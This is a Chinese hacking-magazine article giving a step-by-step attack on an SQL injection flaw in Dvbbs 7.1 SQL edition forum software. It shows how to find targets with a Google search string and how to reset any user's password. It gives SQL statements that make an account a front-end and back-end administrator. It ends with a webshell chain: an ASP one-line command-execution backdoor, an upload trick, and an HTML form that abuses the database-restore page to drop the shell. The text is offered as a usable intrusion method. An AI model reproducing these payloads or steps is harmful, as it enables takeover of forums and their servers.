1. 程式人生 > >不為人知的動網7.1 SQL版注入漏洞(圖)(anqn)

不為人知的動網7.1 SQL版注入漏洞(圖)(anqn)

話說上期X檔案刊登了動網8.0 SQL版最新注入漏洞的文章,不知大家都掌握了沒有,令人興奮的是,沒過幾在就又暴出了另一個動網7.1 SQL版的最新注入漏洞,這個漏洞可以直接更改任意使用者的密碼或直接新增論壇管理員,危害相當嚴重!存在漏洞的檔案為dv_dpo.asp,有興趣的朋友可以自行閱讀該檔案的原始碼並分析漏洞的形成原因。本文則主要介紹如何利用工具針對該漏洞進行入侵測試以及如何在動網7.1 SQL版後臺獲取Webshell。
我在動網官方網站下載了最新版本的動網7.1 SQL版,並在本機上搭建好了論壇,架設好測試環境。要尋找使用動網7.1的論壇可以在Google以“Powered By Dvbbs Version 7.1.0 Sp1”為關鍵字搜尋,至於如何判斷是不是SQL版,我也沒有什麼好辦法,這就得靠自己測試了。下面開始測試,先來看看漏洞利用工具的廬山真面目吧,如圖1。



首先在目標論壇註冊一個使用者,然後登入。我註冊的使用者名稱和密碼均為hackest,在MSSQL企業管理器裡可以看到Dv_User表段存放的註冊使用者名稱(hackest)及密碼的MD5(eee01c9ab7267f25),如圖2。



然後就可以使用工具來測試了,例如要修改普通使用者hackest的登入密碼,先在URL後面的框裡填入目標論壇的訪問地址(http://127.0.0.1/),username處填入註冊使用者的使用者名稱(hackest),password處填入你要更改的密碼(admin888),然後點選“修改密碼”,在下面的空白框可以看到返回資訊,如果看到最後面出現了“基本資料修改成功”,就說明已經成功更改指定使用者的密碼了,如圖3。


我們再到MSSQL企業管理器看看錶段,是否真的更改了呢,結果如圖4。使用者hackest的密碼MD5果然由原來的eee01c9ab7267f25成功的更改為了469e80d32c0559f8,漏洞測試成功!

當然了,上邊是更改普通使用者的密碼,在實際的入侵中是可以直接改掉管理員密碼的。還可以直接新增一個管理員呢!首先還是需要註冊一個使用者,然後在“MSSQL語句”填入“前臺管理員”後面的SQL語句,不過需要改一下使用者名稱。比如要將普通使用者hackest新增為前臺管理員,可以填入“update [Dv_User] set UserGroupID=1 where username='hackest'”,語句的大致意思為更新使用者名稱為hackest的UserGroupID為1(UserGroupID=1即為前臺管理員)。然後點選“MSSQL_Exec”提交,在下面的空白框中的返回資訊如果出現“登陸成功”則說明已成功將普通使用者提升為前臺管理員了。我們可以重新登入論壇,明顯發現登入後多出了一項“管理”,普遍使用者是看不到這一項的!再到MSSQL企業管理器裡查看錶段資料,發現使用者hackest的UserGroupID已由原來的9變成了1(9即為普通使用者,1為前臺管理員)。提升為前臺管理員之後還需要提升為後臺管理員才可以進入管理後臺。可以使用工具裡的“加入後臺”後面附帶的SQL語句提升為管理員,我們在“MSSQL語句”裡填入●insert into dv_admin (username,[password],flag,adduser) values ('hackest','469e80d32c0559f8','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37','hackest')●,其中的469e80d32c0559f8為後臺登入密碼(即admin888的MD5值)。然後點選“MSSQL_Exec”提交注入語句,返回資訊與執行提升前臺管理員的時候基本相同,如圖5。


我們再到MSSQL企業管理器看一下是否真的新增進去了,如圖6。Dv_admin表段裡原來只有admin這個預設管理員的,現在多了一個hackest的管理員,證明已經成功提升為後臺管理員了!


接著就是登入後臺了,點選論壇頁面的“管理”進入後臺登入面面,如圖7。沒錯吧,是“Dvbbs v7.1.0 SQL 版”哦!使使用者名稱hackest,密碼admin888成功登入進入後臺,如圖8。

進了後臺當然就是獲取Webshell了,在以前的雜誌裡似乎很少見到關於動網7.1 SQL版後臺獲得Webshell的文章,所以我就簡單的提一下。我們使用恢復資料庫的方法來拿Webshell,後臺依次找到“論壇管理”—“版面(分類)新增|管理”—“高階設定”—“上傳檔案型別”,新增允許上傳型別mdb,如圖9。



然後在前臺發帖或編輯帖子來上傳ASP一句話與空資料庫合併的mdb檔案(可以使用藍魚動網空資料庫合併器合併),ASP一句話的程式碼為●<%if request("cmd")<>"" then execute request("cmd")%>●。上傳後在帖子處是不可以直接看到路徑的,要到後臺裡去找。在後臺依次找到“檔案管理”—“上傳檔案管理”—“開始搜尋”,找到剛才上傳的mdb檔案,如圖10。


得知mdb檔案的相對路徑為UploadFile/2007-9/2007912123062511.mdb。將以下程式碼儲存為HTML檔案:

<form action="http://127.0.0.1/admin/data.asp?action=RestoreData&act=Restore" method="post">
<p>已上傳檔案的位置:<input name="Dbpath" type="text" size="80"></p>
<p>要複製到的位置:<input name="backpath" type="text" size="80"></p>
<p><input type="submit" value="提交"></p>
</form>

由於動網7.1 SQL版的後臺是不可以直接恢復資料庫的,所以要用這個HTML來呼叫執行恢復資料庫操作。儲存好後開啟,在“已上傳檔案的位置”填入“../UploadFile/2007-9/2007912123062511.mdb”,在“要複製到的位置”填入“../UploadFile/2007-9/test.asp”(此處填需要匯出的Webshell路徑),然後點選“提交”,如圖11。



剩下的就教給各位自己去玩了。至此漏洞的詳細利用和後臺如何獲取Webshell的方法就已經介紹完畢,如果有什麼問題的話,歡迎到X官方論壇與我交流。

(文章中涉及到的工具動網7.1 SQL版注入漏洞利用工具、藍魚動網空資料庫合併器、ASP+PHP兩用Shell、HTML指令碼、合併好的mdb檔案已經收錄在光碟中)

小編點評:
動網始終是“洞網”,上期剛暴了8.0 SQL版的致命漏洞,現在又來了7.1 SQL版的漏洞!漏洞的利用卻都是如此之簡單,輕鬆地利用工具就可以得到論壇的管理員許可權,然後拿到Webshell,甚至危及到整個伺服器的安全!動網7.1 SQL版在後臺如何得到Webshell的方法在以前的雜誌上似乎並沒有怎麼詳細地介紹過,本文詳細說明了漏洞的利用過程及動網7.1SQL版後臺拿Webshell的具體方法,正好填補了這一空白。